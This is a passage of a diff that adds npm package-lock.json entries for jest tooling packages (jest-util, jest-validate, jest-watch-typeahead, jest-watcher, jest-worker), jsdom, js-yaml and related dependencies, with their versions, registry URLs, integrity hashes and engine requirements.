+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-snapshot/node_modules/diff-sequences": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-27.5.1.tgz",
+      "integrity": "sha512-k1gCAXAsNgLwEL+Y8Wvl+M6oEFj5bgazfZULpS5CneoPPXRaCCW7dm+q21Ky2VEE5X+VeRDBVg1Pcvvsr4TtNQ==",
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-snapshot/node_modules/jest-diff": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-27.5.1.tgz",
+      "integrity": "sha512-m0NvkX55LDt9T4mctTEgnZk3fmEg3NRYutvMPWM/0iPnkFj2wIeF45O1718cMSOFO1vINkqmxqD8vE37uTEbqw==",
+      "dependencies": {
+        "chalk": "^4.0.0",
+        "diff-sequences": "^27.5.1",
+        "jest-get-type": "^27.5.1",
+        "pretty-format": "^27.5.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-snapshot/node_modules/jest-get-type": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-27.5.1.tgz",
+      "integrity": "sha512-2KY95ksYSaK7DMBWQn6dQz3kqAf3BB64y2udeG+hv4KfSOb9qwcYQstTJc1KCbsix+wLZWZYN8t7nwX3GOBLRw==",
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-snapshot/node_modules/pretty-format": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
+      "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==",
+      "dependencies": {
+        "ansi-regex": "^5.0.1",
+        "ansi-styles": "^5.0.0",
+        "react-is": "^17.0.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-snapshot/node_modules/react-is": {
+      "version": "17.0.2",
+      "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
+      "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="
+    },
+    "node_modules/jest-util": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz",
+      "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==",
+      "dependencies": {
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "chalk": "^4.0.0",
+        "ci-info": "^3.2.0",
+        "graceful-fs": "^4.2.9",
+        "picomatch": "^2.2.3"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-util/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-util/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-validate": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-27.5.1.tgz",
+      "integrity": "sha512-thkNli0LYTmOI1tDB3FI1S1RTp/Bqyd9pTarJwL87OIBFuqEb5Apv5EaApEudYg4g86e3CT6kM0RowkhtEnCBQ==",
+      "dependencies": {
+        "@jest/types": "^27.5.1",
+        "camelcase": "^6.2.0",
+        "chalk": "^4.0.0",
+        "jest-get-type": "^27.5.1",
+        "leven": "^3.1.0",
+        "pretty-format": "^27.5.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-validate/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-validate/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-validate/node_modules/ansi-styles": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+      "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-validate/node_modules/jest-get-type": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-27.5.1.tgz",
+      "integrity": "sha512-2KY95ksYSaK7DMBWQn6dQz3kqAf3BB64y2udeG+hv4KfSOb9qwcYQstTJc1KCbsix+wLZWZYN8t7nwX3GOBLRw==",
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-validate/node_modules/pretty-format": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
+      "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==",
+      "dependencies": {
+        "ansi-regex": "^5.0.1",
+        "ansi-styles": "^5.0.0",
+        "react-is": "^17.0.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-validate/node_modules/react-is": {
+      "version": "17.0.2",
+      "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
+      "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="
+    },
+    "node_modules/jest-watch-typeahead": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/jest-watch-typeahead/-/jest-watch-typeahead-1.1.0.tgz",
+      "integrity": "sha512-Va5nLSJTN7YFtC2jd+7wsoe1pNe5K4ShLux/E5iHEwlB9AxaxmggY7to9KUqKojhaJw3aXqt5WAb4jGPOolpEw==",
+      "dependencies": {
+        "ansi-escapes": "^4.3.1",
+        "chalk": "^4.0.0",
+        "jest-regex-util": "^28.0.0",
+        "jest-watcher": "^28.0.0",
+        "slash": "^4.0.0",
+        "string-length": "^5.0.1",
+        "strip-ansi": "^7.0.1"
+      },
+      "engines": {
+        "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+      },
+      "peerDependencies": {
+        "jest": "^27.0.0 || ^28.0.0"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/@jest/console": {
+      "version": "28.1.3",
+      "resolved": "https://registry.npmjs.org/@jest/console/-/console-28.1.3.tgz",
+      "integrity": "sha512-QPAkP5EwKdK/bxIr6C1I4Vs0rm2nHiANzj/Z5X2JQkrZo6IqvC4ldZ9K95tF0HdidhA8Bo6egxSzUFPYKcEXLw==",
+      "dependencies": {
+        "@jest/types": "^28.1.3",
+        "@types/node": "*",
+        "chalk": "^4.0.0",
+        "jest-message-util": "^28.1.3",
+        "jest-util": "^28.1.3",
+        "slash": "^3.0.0"
+      },
+      "engines": {
+        "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/@jest/console/node_modules/slash": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
+      "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/@jest/test-result": {
+      "version": "28.1.3",
+      "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-28.1.3.tgz",
+      "integrity": "sha512-kZAkxnSE+FqE8YjW8gNuoVkkC9I7S1qmenl8sGcDOLropASP+BkcGKwhXoyqQuGOGeYY0y/ixjrd/iERpEXHNg==",
+      "dependencies": {
+        "@jest/console": "^28.1.3",
+        "@jest/types": "^28.1.3",
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "collect-v8-coverage": "^1.0.0"
+      },
+      "engines": {
+        "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/@jest/types": {
+      "version": "28.1.3",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-28.1.3.tgz",
+      "integrity": "sha512-RyjiyMUZrKz/c+zlMFO1pm70DcIlST8AeWTkoUdZevew44wcNZQHsEVOiCVtgVnlFFD82FPaXycys58cf2muVQ==",
+      "dependencies": {
+        "@jest/schemas": "^28.1.3",
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^17.0.8",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/@types/yargs": {
+      "version": "17.0.13",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.13.tgz",
+      "integrity": "sha512-9sWaruZk2JGxIQU+IhI1fhPYRcQ0UuTNuKuCW9bR5fp7qi2Llf7WDzNa17Cy7TKnh3cdxDOiyTu6gaLS0eDatg==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/ansi-styles": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+      "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/emittery": {
+      "version": "0.10.2",
+      "resolved": "https://registry.npmjs.org/emittery/-/emittery-0.10.2.tgz",
+      "integrity": "sha512-aITqOwnLanpHLNXZJENbOgjUBeHocD+xsSJmNrjovKBW5HbSpW3d1pEls7GFQPUWXiwG9+0P4GtHfEqC/4M0Iw==",
+      "engines": {
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/sindresorhus/emittery?sponsor=1"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/jest-message-util": {
+      "version": "28.1.3",
+      "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-28.1.3.tgz",
+      "integrity": "sha512-PFdn9Iewbt575zKPf1286Ht9EPoJmYT7P0kY+RibeYZ2XtOr53pDLEFoTWXbd1h4JiGiWpTBC84fc8xMXQMb7g==",
+      "dependencies": {
+        "@babel/code-frame": "^7.12.13",
+        "@jest/types": "^28.1.3",
+        "@types/stack-utils": "^2.0.0",
+        "chalk": "^4.0.0",
+        "graceful-fs": "^4.2.9",
+        "micromatch": "^4.0.4",
+        "pretty-format": "^28.1.3",
+        "slash": "^3.0.0",
+        "stack-utils": "^2.0.3"
+      },
+      "engines": {
+        "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/jest-message-util/node_modules/slash": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
+      "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/jest-regex-util": {
+      "version": "28.0.2",
+      "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-28.0.2.tgz",
+      "integrity": "sha512-4s0IgyNIy0y9FK+cjoVYoxamT7Zeo7MhzqRGx7YDYmaQn1wucY9rotiGkBzzcMXTtjrCAP/f7f+E0F7+fxPNdw==",
+      "engines": {
+        "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/jest-util": {
+      "version": "28.1.3",
+      "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-28.1.3.tgz",
+      "integrity": "sha512-XdqfpHwpcSRko/C35uLYFM2emRAltIIKZiJ9eAmhjsj0CqZMa0p1ib0R5fWIqGhn1a103DebTbpqIaP1qCQ6tQ==",
+      "dependencies": {
+        "@jest/types": "^28.1.3",
+        "@types/node": "*",
+        "chalk": "^4.0.0",
+        "ci-info": "^3.2.0",
+        "graceful-fs": "^4.2.9",
+        "picomatch": "^2.2.3"
+      },
+      "engines": {
+        "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/jest-watcher": {
+      "version": "28.1.3",
+      "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-28.1.3.tgz",
+      "integrity": "sha512-t4qcqj9hze+jviFPUN3YAtAEeFnr/azITXQEMARf5cMwKY2SMBRnCQTXLixTl20OR6mLh9KLMrgVJgJISym+1g==",
+      "dependencies": {
+        "@jest/test-result": "^28.1.3",
+        "@jest/types": "^28.1.3",
+        "@types/node": "*",
+        "ansi-escapes": "^4.2.1",
+        "chalk": "^4.0.0",
+        "emittery": "^0.10.2",
+        "jest-util": "^28.1.3",
+        "string-length": "^4.0.1"
+      },
+      "engines": {
+        "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/jest-watcher/node_modules/string-length": {
+      "version": "4.0.2",
+      "resolved": "https://registry.npmjs.org/string-length/-/string-length-4.0.2.tgz",
+      "integrity": "sha512-+l6rNN5fYHNhZZy41RXsYptCjA2Igmq4EG7kZAYFQI1E1VTXarr6ZPXBg6eq7Y6eK4FEhY6AJlyuFIb/v/S0VQ==",
+      "dependencies": {
+        "char-regex": "^1.0.2",
+        "strip-ansi": "^6.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/jest-watcher/node_modules/strip-ansi": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+      "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+      "dependencies": {
+        "ansi-regex": "^5.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/pretty-format": {
+      "version": "28.1.3",
+      "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-28.1.3.tgz",
+      "integrity": "sha512-8gFb/To0OmxHR9+ZTb14Df2vNxdGCX8g1xWGUTqUw5TiZvcQf5sHKObd5UcPyLLyowNwDAMTF3XWOG1B6mxl1Q==",
+      "dependencies": {
+        "@jest/schemas": "^28.1.3",
+        "ansi-regex": "^5.0.1",
+        "ansi-styles": "^5.0.0",
+        "react-is": "^18.0.0"
+      },
+      "engines": {
+        "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/react-is": {
+      "version": "18.2.0",
+      "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.2.0.tgz",
+      "integrity": "sha512-xWGDIW6x921xtzPkhiULtthJHoJvBbF3q26fzloPCK0hsvxtPVelvftw3zjbHWSkR2km9Z+4uxbDDK/6Zw9B8w=="
+    },
+    "node_modules/jest-watch-typeahead/node_modules/slash": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/slash/-/slash-4.0.0.tgz",
+      "integrity": "sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew==",
+      "engines": {
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/string-length": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/string-length/-/string-length-5.0.1.tgz",
+      "integrity": "sha512-9Ep08KAMUn0OadnVaBuRdE2l615CQ508kr0XMadjClfYpdCyvrbFp6Taebo8yyxokQ4viUd/xPPUA4FGgUa0ow==",
+      "dependencies": {
+        "char-regex": "^2.0.0",
+        "strip-ansi": "^7.0.1"
+      },
+      "engines": {
+        "node": ">=12.20"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/string-length/node_modules/char-regex": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/char-regex/-/char-regex-2.0.1.tgz",
+      "integrity": "sha512-oSvEeo6ZUD7NepqAat3RqoucZ5SeqLJgOvVIwkafu6IP3V0pO38s/ypdVUmDDK6qIIHNlYHJAKX9E7R7HoKElw==",
+      "engines": {
+        "node": ">=12.20"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/strip-ansi": {
+      "version": "7.0.1",
+      "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.0.1.tgz",
+      "integrity": "sha512-cXNxvT8dFNRVfhVME3JAe98mkXDYN2O1l7jmcwMnOslDeESg1rF/OZMtK0nRAhiari1unG5cD4jG3rapUAkLbw==",
+      "dependencies": {
+        "ansi-regex": "^6.0.1"
+      },
+      "engines": {
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/strip-ansi?sponsor=1"
+      }
+    },
+    "node_modules/jest-watch-typeahead/node_modules/strip-ansi/node_modules/ansi-regex": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.0.1.tgz",
+      "integrity": "sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==",
+      "engines": {
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-regex?sponsor=1"
+      }
+    },
+    "node_modules/jest-watcher": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-27.5.1.tgz",
+      "integrity": "sha512-z676SuD6Z8o8qbmEGhoEUFOM1+jfEiL3DXHK/xgEiG2EyNYfFG60jluWcupY6dATjfEsKQuibReS1djInQnoVw==",
+      "dependencies": {
+        "@jest/test-result": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "ansi-escapes": "^4.2.1",
+        "chalk": "^4.0.0",
+        "jest-util": "^27.5.1",
+        "string-length": "^4.0.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-watcher/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-watcher/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-worker": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.5.1.tgz",
+      "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==",
+      "dependencies": {
+        "@types/node": "*",
+        "merge-stream": "^2.0.0",
+        "supports-color": "^8.0.0"
+      },
+      "engines": {
+        "node": ">= 10.13.0"
+      }
+    },
+    "node_modules/jest-worker/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-worker/node_modules/supports-color": {
+      "version": "8.1.1",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz",
+      "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/supports-color?sponsor=1"
+      }
+    },
+    "node_modules/jest/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest/node_modules/jest-cli": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-27.5.1.tgz",
+      "integrity": "sha512-Hc6HOOwYq4/74/c62dEE3r5elx8wjYqxY0r0G/nFrLDPMFRu6RA/u8qINOIkvhxG7mMQ5EJsOGfRpI8L6eFUVw==",
+      "dependencies": {
+        "@jest/core": "^27.5.1",
+        "@jest/test-result": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "chalk": "^4.0.0",
+        "exit": "^0.1.2",
+        "graceful-fs": "^4.2.9",
+        "import-local": "^3.0.2",
+        "jest-config": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "jest-validate": "^27.5.1",
+        "prompts": "^2.0.1",
+        "yargs": "^16.2.0"
+      },
+      "bin": {
+        "jest": "bin/jest.js"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      },
+      "peerDependencies": {
+        "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0"
+      },
+      "peerDependenciesMeta": {
+        "node-notifier": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/js-sdsl": {
+      "version": "4.1.4",
+      "resolved": "https://registry.npmjs.org/js-sdsl/-/js-sdsl-4.1.4.tgz",
+      "integrity": "sha512-Y2/yD55y5jteOAmY50JbUZYwk3CP3wnLPEZnlR1w9oKhITrBEtAxwuWKebFf8hMrPMgbYwFoWK/lH2sBkErELw=="
+    },
+    "node_modules/js-tokens": {
+      "version": "4.0.0",
+      "resolved": "https://registry.nlark.com/js-tokens/download/js-tokens-4.0.0.tgz",
+      "integrity": "sha1-GSA/tZmR35jjoocFDUZHzerzJJk="
+    },
+    "node_modules/js-yaml": {
+      "version": "3.14.1",
+      "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz",
+      "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==",
+      "dependencies": {
+        "argparse": "^1.0.7",
+        "esprima": "^4.0.0"
+      },
+      "bin": {
+        "js-yaml": "bin/js-yaml.js"
+      }
+    },
+    "node_modules/jsdom": {
+      "version": "16.7.0",
+      "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-16.7.0.tgz",
+      "integrity": "sha512-u9Smc2G1USStM+s/x1ru5Sxrl6mPYCbByG1U/hUmqaVsm4tbNyS7CicOSRyuGQYZhTu0h84qkZZQ/I+dzizSVw==",
+      "dependencies": {
+        "abab": "^2.0.5",
+        "acorn": "^8.2.4",
+        "acorn-globals": "^6.0.0",
+        "cssom": "^0.4.4",
+        "cssstyle": "^2.3.0",
+        "data-urls": "^2.0.0",
+        "decimal.js": "^10.2.1",
+        "domexception": "^2.0.1",
+        "escodegen": "^2.0.0",
+        "form-data": "^3.0.0",
+        "html-encoding-sniffer": "^2.0.1",
+        "http-proxy-agent": "^4.0.1",
+        "https-proxy-agent": "^5.0.0",
+        "is-potential-custom-element-name": "^1.0.1",
+        "nwsapi": "^2.2.0",
+        "parse5": "6.0.1",
+        "saxes": "^5.0.1",
+        "symbol-tree": "^3.2.4",
+        "tough-cookie": "^4.0.0",
+        "w3c-hr-time": "^1.0.2",
+        "w3c-xmlserializer": "^2.0.0",
+        "webidl-conversions": "^6.1.0",
+        "whatwg-encoding": "^1.0.5",
+        "whatwg-mimetype": "^2.3.0",
+        "whatwg-url": "^8.5.0",
+        "ws": "^7.4.6",
+        "xml-name-validator": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "peerDependencies": {
+        "canvas": "^2.5.0"
+      },
+      "peerDependenciesMeta": {
+        "canvas": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/jsesc": {
+      "version": "2.5.2",
+      "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz",
+      "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==",
+      "bin": {
+        "jsesc": "bin/jsesc"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
